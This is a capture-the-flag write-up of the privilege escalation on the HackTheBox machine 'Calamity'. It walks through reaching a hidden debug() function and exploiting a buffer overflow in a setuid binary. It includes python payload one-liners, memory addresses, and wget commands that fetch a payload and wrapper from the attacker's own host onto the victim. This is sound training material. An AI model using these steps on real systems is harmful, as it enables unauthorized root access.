Calamity machine on the hackthebox has finally retired. It was the toughest machine I have faced till now on HTB. The privilege escalation part was really a “damaging experience“. Unlike my other hackthebox write-ups, this write up will just focus on the privilege escalation part because I felt it was very tricky and require more effort to explain. In this post I will try to simplify the privilege escalation part and explain my approach.
As you might be aware, there was the executable “goodluck” along with the source code. The source code can be found here. The executable was a setuid binary created by root, so we need to exploit the binary to elevate our privilege. The “debug()” function was vulnerable to buffer overflow. This was even specified in the comments (line 138). Calamity privilege escalation was tough because there were two stages :
- Invoke debug() function
- Exploit buffer overflow
How to invoke debug() function
The only place where debug() function can be called is from the function “attempt_login()” . This function is in turn called from main() by passing three arguments hey.admin, protect and hey.secret. To invoke debug function two conditions must be satisfied
- protect = hey.secret
- hey.admin != 0
hey.admin is assigned to 0 in main() function so this condition will not satisfy and we will not be able to invoke debug() in normal cases. The primary objective is to make the above two conditions true, but how to achieve that?
The only thing which we have the control on is the file content. We provide the path of this file as input in createusername() function. Use gdb to check the memory layout of the structure “hey“. Below is the simplified representation of the memory layout.
The content of the file is copied to hey.user at location 0x80003068 but only 5 bytes are copied (check line 74 of source code) so we cannot alter the other memory locations.
Disassemble the main() function. Refer my post on gdb for any help. The key here is to look into the register contents when we provide file with content equal to 12 characters for e.g “AAAABBBBCCCC“. Put the break-point at address 0x80000e68 and analyse the stack before the function call attempt_login() at address 0x80000e82. We get the segmentation fault. Notice the content of EBX register. It becomes “CCCC” which means we can control EBX register from our input. Now check what operations we can perform using our controlled input i.e. EBX register. I have simplified the assembly code before the function call for better understanding.
From the above figure we can see that using EBX register (or content of 9th-12th byte of our file) we can control parameters passed to admin_login() function (how? refer Fig 3). Below is the strategy
- to call debug() we need to make edx=protect
- edx is currently pointing to “hey.secret“
- simplifying the above assembly code :
If we can make edx register point to somewhere else in the memory whose content is same as that of protect/hey.secret variable, then we can make eax (hey.admin) non zero. We can do this because we control the content ebx register.
Let us assume we know the value of protect variable at the run time. We will store that value in the file and pass it to createusername() function so that it gets stored at location of hey.user (0x80003068). Now we have another memory location (besides protect and hey.secret) which stores the secret value. If we make edx to point to hey.user (0x80003068) then we will able to satisfy both the conditions ie. eax != 0 and edx=protect . Sounds confusing? If so, read it again and use pen & paper to understand the whole flow.
from equation 3 (refer Fig 3) we know
edx = ebx + 0x74
since we need to make edx = 0x80003068
0x80003068 = ebx + 0x74
ebx = 0x80003068 – 0x74
ebx = 0x80002ff4
Rememember, we control ebx register via the file content. if the file content is like
protect(first 4 bytes. this will store the secret) + A*4 (next 4 bytes. doesn’t matter)+ 0x80002ff4 (last 4 bytes)
Now we will be able to call debug() function. But before that we need the way to get the value protect at run time and store it as username. This is where we will be exploiting the program’s debug feature. There is a printdeb() function which prints the memory content. Currently it prints the value of hey.session. Look at the disassembled code of main before the function call printdeb()
Content of EAX register is passed as an argument which in turn depends on EBX. This is a good news because we control EBX register and if we can make EAX to point to the address of protect i.e. 0xbffff664 (use gdb to find it) then we can print the value of secret.
0xbffff654 = ebx + 0x68 + 0x14
ebx = 0xbffff664 – 0x7c
ebx = 0xbffff5ec
Since we control the EBX register, the file content which will print the value of secret is
A*8 (first 8 bytes) + 0xBFFFF5E8 (last 4 bytes)
Now we good with the theoretical stuffs and have some important memory addresses to play with, lets implement them to call debug() function and thereafter exploit buffer overflow
Open two terminals and navigate to /home/xalvas/app/
Modify few the environment variables to store arguments for “execl” system call via ret2libc
(for me, before modifying SSH_CONNECTION=10.10.14.34 60492 10.10.10.27 22)
To know why I modified the following environment variable and gave such weird values, refer my earlier blog.
- Make a new directory to store our files : mkdir /tmp/rs
- Create a file which will print the secret
python -c 'import struct;print "A"*8+struct.pack("I", 0xBFFFF5E8)' > /tmp/rs/f1
- Run the program : ./goodluck
- Provide input : /tmp/rs/f1
- Select option 2. Note the debug info (this is the secret. it should start with 0x10)
- Based on the debug info modify ‘secret’ (e.g replace 0x1035df3 with the debug info)
python -c 'import struct;print struct.pack("I", <strong>0x1035df3</strong>)+"A"*4+struct.pack("I", 0x80002ff4)' > /tmp/rs/f2
- Download the payload script calamity.py and wrapper code wrapper.c for exploiting buffer overflow on your local system.
- Create the payload : python calamity.py > payload
- Transfer payload and wrapper.c to the victim machine
wget -O /tmp/rs/payload http://yourIP:yourPort/payload
wget -O /tmp/rs/wrapper.c http://yourIP:yourPort/wrapper.c
- Compile wrapper.c on victim
gcc -o /tmp/rs/wrapper12345678912345678 /tmp/rs/wrapper.c
- Select option 4 (change user) and provide the input : /tmp/rs/f2
- Select option 3 (admin only)
- Now the debug() is invoked.
- Exploit buffer overflow by providing our payload as the input : /tmp/rs/payload
This will cause the buffer overflow and execute our wrapper program to get the shell.
The first challenge to invoke debug() function took hell lot of time. But even after that, the buffer overflow was not as straight as I thought. Initially I tried calling “system” using ret2libc technique but it didn’t worked so I tried “execl” to get the shell. This machine was really good and I learnt lot of new things from it.
Hope I was successful in explaining exploit flow. If not, feel free to post your doubts in comments section. Share this if you found it useful. Subscribe to the mailing list to get updates for my future blogs.
Happy Learning 🙂
The author is a security enthusiast with interest in web application security, cloud-native application development and Kubernetes.